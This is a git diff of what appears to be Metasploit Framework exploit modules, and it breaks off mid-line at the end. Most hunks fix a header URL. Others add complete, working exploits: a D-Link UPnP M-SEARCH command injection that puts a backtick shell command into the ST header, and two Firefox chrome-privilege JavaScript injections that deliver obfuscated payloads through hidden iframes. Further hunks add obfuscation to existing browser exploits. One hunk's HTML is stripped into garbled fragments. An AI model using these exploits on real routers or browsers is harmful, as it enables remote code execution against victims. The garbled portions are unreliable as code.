a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb index 53a5d67d34..b2b3f333d8 100644 --- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb index ad370140a3..56f0183919 100644 --- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb +++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index cf0a526f89..19b837dd45 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 42028df550..ad1a0d53e8 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote handler(conn.lsock) end end -end \ No newline at end of file +end diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb index 82065cbcfc..1665ae8b2d 100644 --- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb new file mode 100644 index 0000000000..eacb27174a --- /dev/null +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast + requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip + has initially reported the DIR-815 vulnerable. Probably there are other devices also + affected. + }, + 'Author' => + [ + 'Zachary Cutlip', # Vulnerability discovery and initial exploit + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit + ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + ], + 'DisclosureDate' => 'Feb 01 2013', + 'Privileged' => true, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are big endian devices out there + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900) + ], self.class) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,_,_ = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi + udp_sock.sendto(pkt, rhost, rport, 0) + end + + # UPnP response: + # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 + # we do not check for the Device ID (DIR-645) and for the firmware version because there are different + # dlink devices out there and we do not know all the vulnerable versions + + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def execute_command(cmd, opts) + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:`#{cmd}`\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + end + + def exploit + print_status("#{peer} - Trying to access the device via UPnP ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 950 + ) + end + + # the packet stuff was taken from the module miniupnpd_soap_bof.rb + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # Need to define our own rhost/rport/peer since we aren't + # using the normal mixins + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 5154798869..aa0efe74c5 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index de67d612ef..55f244cdda 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.5", # :ua_maxver => "3.5", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => nil, diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 2b24b83cc1..253f4b1b31 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote "p2.constructor.defineProperty(obj,key,{get:runme});" end - %Q| - <html> - <body> - #{datastore['CONTENT']} - <div id='payload' style='display:none'> - if (!window.done) { - window.AddonManager.getInstallForURL( - '#{get_module_uri}/addon.xpi', - function(install) { install.install() }, - 'application/x-xpinstall' - ); - window.done = true; - } - </div> - <script> + script = js_obfuscate %Q| try{InstallTrigger.install(0)}catch(e){p=e;}; var p2=Object.getPrototypeOf(Object.getPrototypeOf(p)); p2.__exposedProps__={ @@ -116,6 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote }; for (var i in window) register(window, i); for (var i in document) register(document, i); + | + + js_payload = js_obfuscate %Q| + if (!window.done) { + window.AddonManager.getInstallForURL( + '#{get_module_uri}/addon.xpi', + function(install) { install.install() }, + 'application/x-xpinstall' + ); + window.done = true; + } + | + + %Q| + <html> + <body> + #{datastore['CONTENT']} + <div id='payload' style='display:none'> + #{js_payload} + </div> + <script> + #{script} </script> </body> </html> diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 62c91ce581..4511da4250 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index dac5601f06..75877228f2 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,16 +10,16 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE - include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation - autopwn_info({ - :ua_name => HttpClients::FF, - :ua_minver => "17.0", - :ua_maxver => "17.0.1", - :javascript => true, - :rank => NormalRanking - }) + # autopwn_info({ + # :ua_name => HttpClients::FF, + # :ua_minver => "17.0", + # :ua_maxver => "17.0.1", + # :javascript => true, + # :rank => NormalRanking + # }) def initialize(info = {}) super(update_info(info, @@ -129,24 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote :loader_path => "#{get_module_uri}.swf", :content => self.datastore['CONTENT'] || '' } - %Q| - <!doctype html> - <html> - <head> - <base href="chrome://browser/content/"> - </head> - <body> - - <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'> - <symbol id="#{vars[:symbol_id]}"> - <foreignObject> - <object></object> - </foreignObject> - </symbol> - <use /> - </svg> - - <script> + script = js_obfuscate %Q| var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})}; var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}']; function $() { @@ -169,6 +152,27 @@ class Metasploit3 < Msf::Exploit::Remote document.querySelector('use').setAttributeNS( "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}" ); + | + + %Q| + <!doctype html> + <html> + <head> + <base href="chrome://browser/content/"> + </head> + <body> + + <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'> + <symbol id="#{vars[:symbol_id]}"> + <foreignObject> + <object></object> + </foreignObject> + </symbol> + <use /> + </svg> + + <script> + #{script} </script> <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px" diff --git a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb new file mode 100644 index 0000000000..ad5eda286d --- /dev/null +++ b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_minver => "15.0", + :ua_maxver => "22.0", + :javascript => true, + :rank => ExcellentRanking + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox toString console.time Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 15-22 by abusing two separate + Javascript-related vulnerabilities to ultimately inject malicious Javascript code + into a context running with chrome:// privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'moz_bug_r_a4', # discovered CVE-2013-1710 + 'Cody Crews', # discovered CVE-2013-1670 + 'joev' # metasploit module + ], + 'DisclosureDate' => "May 14 2013", + 'References' => [ + ['CVE', '2013-1710'] # chrome injection + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + js = js_obfuscate %Q| + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + var y = {}, q = false; + y.constructor.prototype.toString=function() { + if (q) return; + q = true; + crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); + return 5; + }; + console.time(y); + | + + %Q| + <!doctype html> + <html> + <body> + <script> + #{js} + </script> + #{datastore['CONTENT']} + </body> + </html> + | + end +end + diff --git a/modules/exploits/multi/browser/firefox_webidl_injection.rb b/modules/exploits/multi/browser/firefox_webidl_injection.rb new file mode 100644 index 0000000000..155499f4f0 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_webidl_injection.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_maxver => "22.0", + :ua_maxver => "27.0", + :javascript => true, + :rank => ExcellentRanking + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox WebIDL Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 22-27 by abusing two + separate privilege escalation vulnerabilities in Firefox's Javascript + APIs. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # metasploit module + ], + 'DisclosureDate' => "Mar 17 2014", + 'References' => [ + ['CVE', '2014-1510'], # open chrome:// url in iframe + ['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(22, 27) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+ + "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+ + "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>" + + js = js_obfuscate %Q| + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + + // Load the chrome-privileged browser XUL script into an iframe + var c = new mozRTCPeerConnection; + c.createOffer(function(){},function(){ + window.open('chrome://browser/content/browser.xul', '#{frame}'); + step1(); + }); + + // Inject a data: URI into an internal frame inside of the browser + // XUL script to pop open a new window with the chrome flag to prevent + // the new window from being wrapped with browser XUL; + function step1() { + var clear = setInterval(function(){ + + // throws until frames[0].frames[2] is available (when chrome:// iframe loads) + frames[0].frames[2].location; + + // we base64 this to avoid the script tag screwing up things when obfuscated + frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}'); + clearInterval(clear); + setTimeout(step2, 100); + },10); + } + + // Step 2: load the chrome-level window up with a data URI, which + // gives us same-origin. Make sure to load an "<iframe mozBrowser>" + // into the frame, since that will respond to our messageManager + // (this is important later) + function step2() { + var clear = setInterval(function(){ + top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+ + 'src="about:blank"></iframe></body></html>'; + clearInterval(clear); + setTimeout(step3, 100); + }, 10); + } + + function step3() { + var clear = setInterval(function(){ + if (!frames[0]) return; // will throw until the frame is accessible + top.vvv.messageManager.loadFrameScript('data:,'+key, false); + clearInterval(clear); + setTimeout(function(){top.vvv.close();}, 100); + }, 10); + } + | + + %Q| + <!doctype html> + <html> + <body> + <iframe id='#{frame}' name='#{frame}' + style='position:absolute;left:-9999999px;height:1px;width:1px;'> + </iframe> + <script> + #{js} + </script> + #{datastore['CONTENT']} + </body> + </html> + | + end +end + diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 2b9f00f4cd..2033a79df3 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,18 +28,13 @@ class Metasploit3 < Msf::Exploit::Remote be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed. - - On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the - first half of the permissions prompt. }, 'License' => MSF_LICENSE, 'Author' => [ 'mihi', 'joev' ], 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ], - [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ], - [ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt - [ 'CVE', '2014-1511' ] + [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ] ], 'DisclosureDate' => 'Jun 27 2007' )) @@ -72,42 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_html - %Q| - <html><head><title>Loading, Please Wait... -

Addon required to view this page. [Install]

-
- -
- - - - | - end - - # In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL. - # From there you can load the browser XUL, and inject a data URL into a nested frame. - # If the data URL opens the .xpi URL, the first permission prompt gets skipped. - def web_idl_navigation - %Q| - try { - c = new mozRTCPeerConnection; - c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')}); - setTimeout(function(){ - try { - frames[0].frames[1].location="data:text/html,\n| + html << %Q|| + return html end end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index fe24f06002..9fe7bb5ea4 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote Because iTunes is multithreaded, only vfork-based payloads should be used. }, - 'Author' => [ 'Will Drewry ' ], + 'Author' => [ 'Will Drewry ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 2c166feb34..5a214fe259 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index 8ae57ea1da..bdb3566a42 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 6dfe3c506c..3a123768f2 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index 604087237e..b832f9ea9b 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 39c72b618a..9280d870ad 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index b1a75b031c..7c37c553a2 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 2d7f1a1b30..4dfad212b6 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index 357290e80e..597c3fdf2f 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 1539257b73..906d07867f 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 4a1ea1d6eb..32f55c5613 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 2b9ec82c3e..9e4931f342 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index aebcc52cb3..9fa97d5e57 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index d2bdcb327b..c752549994 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index c7e3349acd..41a3705785 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index ad850d2ac5..c392ee4558 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 19459a4b2c..6f35eb21c4 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 6562ba8644..207e0d8c0d 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index 92aa70b88d..e2f4651f3e 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: 